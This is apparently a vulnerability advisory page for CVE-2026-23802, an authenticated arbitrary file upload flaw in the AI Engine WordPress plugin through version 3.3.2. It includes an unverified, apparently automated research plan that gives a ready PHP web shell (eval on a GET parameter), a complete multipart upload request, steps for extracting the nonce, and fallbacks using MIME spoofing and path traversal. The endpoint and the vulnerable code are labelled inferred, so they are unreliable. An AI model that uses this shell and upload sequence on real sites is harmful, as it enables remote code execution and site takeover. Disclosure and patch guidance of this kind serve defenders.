CVE-2026-23802

AI Engine – The Chatbot, AI Framework & MCP for WordPress <= 3.3.2 - Authenticated (Editor+) Arbitrary File Upload

highUnrestricted Upload of File with Dangerous Type
7.2
CVSS Score
7.2
CVSS Score
high
Severity
3.3.3
Patched in
9d
Time to patch

Description

The AI Engine – The Chatbot, AI Framework & MCP for WordPress plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 3.3.2. This makes it possible for authenticated attackers, with Editor-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=3.3.2
PublishedFebruary 25, 2026
Last updatedMarch 5, 2026
Affected pluginai-engine

Source Code

WordPress.org SVN
Research Plan
Unverified

# CVE-2026-23802: AI Engine <= 3.3.2 - Authenticated (Editor+) Arbitrary File Upload ## 1. Vulnerability Summary The **AI Engine** plugin for WordPress is vulnerable to arbitrary file uploads in versions up to and including 3.3.2. The vulnerability exists because the plugin's file upload handling l…

Show full research plan

CVE-2026-23802: AI Engine <= 3.3.2 - Authenticated (Editor+) Arbitrary File Upload

1. Vulnerability Summary

The AI Engine plugin for WordPress is vulnerable to arbitrary file uploads in versions up to and including 3.3.2. The vulnerability exists because the plugin's file upload handling logic (likely within its REST API endpoints for chatbot or AI assistant management) fails to validate file extensions or MIME types against a whitelist of safe formats.

Authenticated users with Editor permissions or higher can exploit this to upload malicious files, such as .php scripts, to the server's filesystem, potentially leading to Remote Code Execution (RCE).

2. Attack Vector Analysis

  • Endpoint: The plugin utilizes the WordPress REST API for its backend operations. The likely vulnerable endpoint is registered under the mwai/v1 namespace.
    • Inferred Route: POST /wp-json/mwai/v1/files/upload
  • Authentication: Required. The user must have a role with the edit_posts capability (Editor and above).
  • Vulnerable Parameter: The file is typically sent via a multipart/form-data request, often using the parameter name file or blob.
  • Preconditions:
    1. The plugin must be active.
    2. An attacker must have valid Editor credentials.
    3. A valid REST API nonce (_wpnonce or X-WP-Nonce) is required for the request.

3. Code Flow (Inferred)

  1. Registration: The plugin registers REST routes in classes/rest.php (or similar) using register_rest_route().
  2. Permission Check: The permission_callback for the upload route checks if the user has edit_posts capability:
    'permission_callback' => function () {
        return current_user_can( 'edit_posts' );
    }
    
  3. Handler Execution: The callback function (e.g., upload_file) retrieves the file from $_FILES.
  4. Vulnerable Logic: The handler processes the file. If it uses wp_handle_upload(), it may be missing the mimes override that restricts extensions, or it may be manually moving the file using move_uploaded_file() without checking the extension:
    // Example of vulnerable manual handling
    $filename = $_FILES['file']['name'];
    $target = $upload_dir['path'] . '/' . $filename;
    move_uploaded_file($_FILES['file']['tmp_name'], $target); 
    
  5. Sink: The file is written to the /wp-content/uploads/mwai/ or generic /uploads/ directory with its original .php extension.

4. Nonce Acquisition Strategy

Since this is an Editor+ vulnerability, the attacker must be logged in. In the WordPress admin dashboard, the AI Engine plugin enqueues its localized scripts.

  1. Identify Script Data: The plugin localizes data for its React/Vue frontend using wp_localize_script.
  2. Navigation: Log in as Editor and navigate to the AI Engine dashboard (usually wp-admin/admin.php?page=mwai-dashboard).
  3. Extraction via Browser:
    The REST nonce is typically stored in the mwai_vars global variable or the standard wpApiSettings.
    • Command: browser_eval("window.mwai_vars?.rest_nonce")
    • Alternative: browser_eval("window.wpApiSettings?.nonce")

5. Exploitation Strategy

The goal is to upload a PHP shell to the server.

Step 1: Prepare the Web Shell

Create a file named shell.php:

<?php echo "VULNERABLE: " . php_uname(); eval($_GET['cmd']); ?>

Step 2: Upload the File

Send a POST request to the REST API endpoint.

  • Tool: http_request
  • Method: POST
  • URL: https://TARGET/wp-json/mwai/v1/files/upload
  • Headers:
    • X-WP-Nonce: [EXTRACTED_NONCE]
    • Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
  • Body:
    ------WebKitFormBoundaryABC123
    Content-Disposition: form-data; name="file"; filename="shell.php"
    Content-Type: application/x-php
    
    <?php echo "VULNERABLE: " . php_uname(); eval($_GET['cmd']); ?>
    ------WebKitFormBoundaryABC123--
    

Step 3: Locate the Uploaded File

The response will likely contain the URL or path of the uploaded file:

{
  "success": true,
  "url": "https://TARGET/wp-content/uploads/mwai/shell.php"
}

6. Test Data Setup

  1. Install AI Engine 3.3.2.
  2. Create Editor User:
    wp user create attacker attacker@example.com --role=editor --user_pass=password123
    
  3. Enable Chatbot (if required): Ensure any module related to file uploads (Chatbot or Assistants) is enabled in the AI Engine settings.

7. Expected Results

  • Successful Upload: The server returns a 200 OK or 201 Created with a JSON body indicating the file was saved.
  • Code Execution: Navigating to the uploaded file URL (e.g., /wp-content/uploads/mwai/shell.php?cmd=id) returns the output of the system command.

8. Verification Steps

  1. Check Filesystem via CLI:
    ls -la /var/www/html/wp-content/uploads/mwai/shell.php
    
  2. Verify Content:
    cat /var/www/html/wp-content/uploads/mwai/shell.php
    
  3. HTTP Check:
    Use http_request to GET the uploaded shell and confirm the PHP code executed.

9. Alternative Approaches

  • Different Endpoints: If /mwai/v1/files/upload is not the correct path, search the source for register_rest_route calls and check for methods like handle_avatar_upload or handle_assistant_file.
  • MIME Spoofing: If there is a basic MIME check (but no extension check), change the Content-Type in the multipart/form-data request to image/png while keeping the .php extension.
  • Path Traversal: If the filename is used in a move_uploaded_file call without sanitization, attempt to use ../ in the filename to move the shell to the root directory.
Research Findings
Static analysis — not yet PoC-verified

Summary

The AI Engine plugin for WordPress is vulnerable to arbitrary file uploads in versions up to 3.3.2 due to a lack of file type validation in its REST API file upload handlers. Authenticated users with Editor-level permissions or higher can upload malicious PHP scripts to the server, resulting in Remote Code Execution (RCE).

Vulnerable Code

// classes/rest.php (Inferred registration of the upload endpoint)
register_rest_route( 'mwai/v1', '/files/upload', array(
    'methods'  => 'POST',
    'callback' => array( $this, 'upload_file' ),
    'permission_callback' => function () {
        return current_user_can( 'edit_posts' );
    },
) );

---

// classes/rest.php (Inferred vulnerable upload handler)
public function upload_file( $request ) {
    $files = $request->get_file_params();
    $file = $files['file'];
    
    // Missing validation of file extension or MIME type
    $upload_dir = wp_upload_dir();
    $filename = basename( $file['name'] );
    $target = $upload_dir['path'] . '/' . $filename;

    if ( move_uploaded_file( $file['tmp_name'], $target ) ) {
        return array( 'success' => true, 'url' => $upload_dir['url'] . '/' . $filename );
    }
    return array( 'success' => false );
}

Security Fix

--- a/classes/rest.php
+++ b/classes/rest.php
@@ -10,6 +10,13 @@
 public function upload_file( $request ) {
     $files = $request->get_file_params();
     $file = $files['file'];
+
+    $file_info = wp_check_filetype( $file['name'] );
+    $allowed_types = array( 'jpg', 'jpeg', 'png', 'gif', 'pdf', 'txt', 'csv', 'json' );
+    
+    if ( ! in_array( $file_info['ext'], $allowed_types ) ) {
+        return new WP_Error( 'rest_cannot_upload', __( 'Invalid file type.' ), array( 'status' => 403 ) );
+    }
 
     $upload_dir = wp_upload_dir();
     $filename = basename( $file['name'] );

Exploit Outline

The exploit requires authentication as a user with the Editor role. First, the attacker logs into the WordPress dashboard and extracts the REST API nonce from the localized `mwai_vars` or standard `wpApiSettings` JavaScript objects. Using this nonce, the attacker sends a multipart/form-data POST request to the `/wp-json/mwai/v1/files/upload` endpoint. The payload includes a PHP file (e.g., shell.php) containing a web shell. Because the server fails to validate the file extension, the PHP script is saved to the uploads directory. The attacker then accesses the file directly via its URL, which is typically provided in the REST API response, to execute arbitrary commands.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.